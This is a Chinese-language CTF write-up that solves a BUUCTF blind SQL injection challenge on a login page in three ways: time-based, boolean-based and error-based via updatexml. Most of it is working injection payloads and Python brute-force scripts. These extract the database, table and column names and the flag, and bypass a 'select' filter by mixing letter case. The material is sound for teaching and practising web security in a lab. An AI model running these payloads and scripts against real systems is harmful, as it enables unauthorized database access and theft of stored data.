一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2
概述
项目地址
本题是一个盲注题,可以基于布尔也可以基于时间,如果不会的话可以根据提示在网址后面加一个?tips=1
降低难度成为一个基于报错的盲注。
本题所有脚本均用傻逼爆破,没有用二分法,有兴趣的大佬可以根据我提供的脚本二次开发,可以的话在评论区给个链接(菜鸡对二分法不是很懂,觉得写脚本的时间还不如等爆破完成)
解法一:基于时间
直接在前端进行注入的话没有报错回显,所以需要抓个包然后开始测试。
测库名
首先测试库名长度
name=1'+or+if(length(database())=4,sleep(1),1)#&pass=asdasd
等了3秒,我们默认是sleep1秒,但是不知道为什么睡的时间是输入的3-4倍左右,不管了,反正长度是4(1-4慢慢试)
然后测试库名:
- 这里补充一个知识点,MySQL的substr函数
substr(a,b,c)
,a
处为需要截取的字符,b
处为从第几位开始,c
处为截取几位。比如substr(database(),2,1)
就是将数据库名从第2位开始截取1位,即取第二个字符(如果库名为note
结果就是o
)
name=1'+or+if(substr(database(),1,1)='n',sleep(1),1)#&pass=asdasd
过了三秒才有回显,于是判断第一位是n
写个脚本
import requests
import time
l = 'qwertyuiopasdfghjklzxcvbnm-=+_'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
sql = "1' or if(substr(database(),%d,1)='%s',sleep(2),1)#"
flag = ''
length=4
for num in range(1,length+1):
for i in l:
data = {
'name' : sql %(num,i),
'pass' : 'asdasd'
}
# print(data)
t = int(time.time())
r = requests.post(url = url , data=data)
if int(time.time()) - t > 2 :
flag += i
print("flag:" , flag)
break
print(flag)
测试表名
注意,这里‘select’被过滤了,可以使用双写绕过,也可以使用大小写绕过
name=1'+or+if(substr((seLEct+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),1,1)='f',sleep(1),1)#&pass=asdasd
测第一位,结果是f
脚本:
import requests
import time
l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or if(substr(database(),%d,1)='%s',sleep(2),1)#"
sql = "1' or if(substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s',sleep(2),1)#"
flag = ''
for num in range(1,100):
for i in l:
data = {
'name' : sql %(num,i),
'pass' : 'asdasd'
}
# print(data)
t = int(time.time())
r = requests.post(url = url , data=data)
if int(time.time()) - t > 2 :
flag += i
print("flag:" , flag)
break
print("flag:", flag)
测试字段名
name=1'+or+if(substr((seLEct+group_concat(column_name)+from+information_schema.columns+where+table_name='fl4g'),1,1)='f',sleep(1),1)#&pass=asdasd
第一位是f
,盲猜是flag
,但是还是测试一下:
import requests
import time
l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or if(substr(database(),%d,1)='%s',sleep(2),1)#"
#sql = "1' or if(substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s',sleep(2),1)#"
sql = "1' or if(substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),%d,1)='%s',sleep(2),1)#"
flag = ''
for num in range(1,100):
for i in l:
data = {
'name' : sql %(num,i),
'pass' : 'asdasd'
}
# print(data)
t = int(time.time())
r = requests.post(url = url , data=data)
if int(time.time()) - t > 2 :
flag += i
print("column_name:" , flag)
break
print("column_name:", flag)
字段名是flag
cat flag
查flag长度
name=1'+or+if(length((seLEct+flag+from+fl4g))=26,sleep(3),1)#&pass=asdasd
长度为26。
import requests
import time
l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or if(substr(database(),%d,1)='%s',sleep(2),1)#"
#sql = "1' or if(substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s',sleep(2),1)#"
#sql = "1' or if(substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),%d,1)='%s',sleep(2),1)#"
sql = "1' or if(substr((seLEct flag from fl4g),%d,1)='%s',sleep(2),1)#"
flag = ''
for num in range(1,27):
for i in l:
data = {
'name' : sql %(num,i),
'pass' : 'asdasd'
}
# print(data)
t = int(time.time())
r = requests.post(url = url , data=data)
if int(time.time()) - t > 2 :
flag += i
print("flag:" , flag)
break
print("flag:", flag)
解法二:基于布尔
分析
首先研究一下登录界面的报错信息
用admin登录,显示密码错误,用其他账号登录,显示账号不存在。这样子就说明了两个点:
- 默认用户是admin
- 用户名栏可以判断我们的输入是
True
还是False
burp抓包并发送试试:
admin: {"error":1,"msg":"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}
w4ke: {"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}
这里都是页面信息,那么我们可以根据这个信息来进行判断我们的输入是否正确,构造payload:
name=1' or 1=1#&pass=asdasd
发现页面返回的信息是True,这里解释一下为什么是True:
首先判断username = '1' ⇒ False
然后判断 1=1 ⇒ True
False or True ⇒ True
所以只要后面构造的是True,那么整个语句就是True,然后开始构造第一个攻击脚本
测试库名
name=1' or length(database())=4#&pass=asdasd
数据库长度为4
name=1' or substr(database(),1,1)='n'#&pass=asdasd
库名第一个字母是n
构造脚本:
import requests
import time
l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
sql = "1' or substr(database(),%d,1)='%s'#"
flag = ''
for num in range(1,5):
for i in l:
data = {
'name' : sql %(num,i),
'pass' : 'asdasd'
}
r = requests.post(url = url , data=data)
time.sleep(0.2)
if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:
flag += i
print("flag:" , flag)
break
print("flag:", flag)
测表名
name=1' or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='f'#&pass=asdasd
表的第一位是f
上脚本
import requests
import time
l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or substr(database(),%d,1)='%s'#"
sql = "1' or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'#"
flag = ''
for num in range(1,8):
for i in l:
data = {
'name' : sql %(num,i),
'pass' : 'asdasd'
}
r = requests.post(url = url , data=data)
time.sleep(0.2)
if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:
flag += i
print("flag:" , flag)
break
print("flag:", flag)
测字段名
name=1' or substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),1,1)='f'#&pass=asdasd
字段名的第一位也是f
上脚本:
import requests
import time
l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or substr(database(),%d,1)='%s'#"
#sql = "1' or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'#"
sql = "1' or substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),%d,1)='%s'#"
flag = ''
for num in range(1,13):
for i in l:
data = {
'name' : sql %(num,i),
'pass' : 'asdasd'
}
r = requests.post(url = url , data=data)
time.sleep(0.2)
if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:
flag += i
print("flag:" , flag)
break
print("flag:", flag)
cat flag
name=1' or substr((seLEct flag from fl4g),1,1)='n'#&pass=asdasd
第一位是n
上脚本:
import requests
import time
l = 'qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890}{'
url = 'http://78e36ec4-b8e5-4239-ac2d-683f7742d342.node3.buuoj.cn/login.php'
#sql = "1' or substr(database(),%d,1)='%s'#"
#sql = "1' or substr((seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'#"
#sql = "1' or substr((seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),%d,1)='%s'#"
sql = "=1' or substr((seLEct flag from fl4g),%d,1)='%s'#"
flag = ""
for num in range(1,28):
for i in l:
data = {
'name' : sql %(num,i),
'pass' : 'asdasd'
}
r = requests.post(url = url , data=data)
time.sleep(0.05)
if r"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef" in r.text:
flag += i
print("flag:" , flag)
break
print("flag:", flag)
解法三:基于报错
首先题目提示难度太大可以在url后面加一个?tips=1
,菜鸡发现这边可以显示报错信息。
一般常用的报错函数有extractvalue
,updatexml
等,用法差不多,这边就用updatexml
吧。
爆库名
name=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#&pass=asdasd
这里直接爆出数据库名
爆表名
name=1' and updatexml(1,concat(0x7e,(seLEct group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#&pass=asdasd
爆字段名
name=1' and updatexml(1,concat(0x7e,(seLEct group_concat(column_name) from information_schema.columns where table_name='fl4g'),0x7e),1)#&pass=asdasd
cat flag
name=1' and updatexml(1,concat(0x7e,(seLEct flag from fl4g),0x7e),1)#&pass=asdasd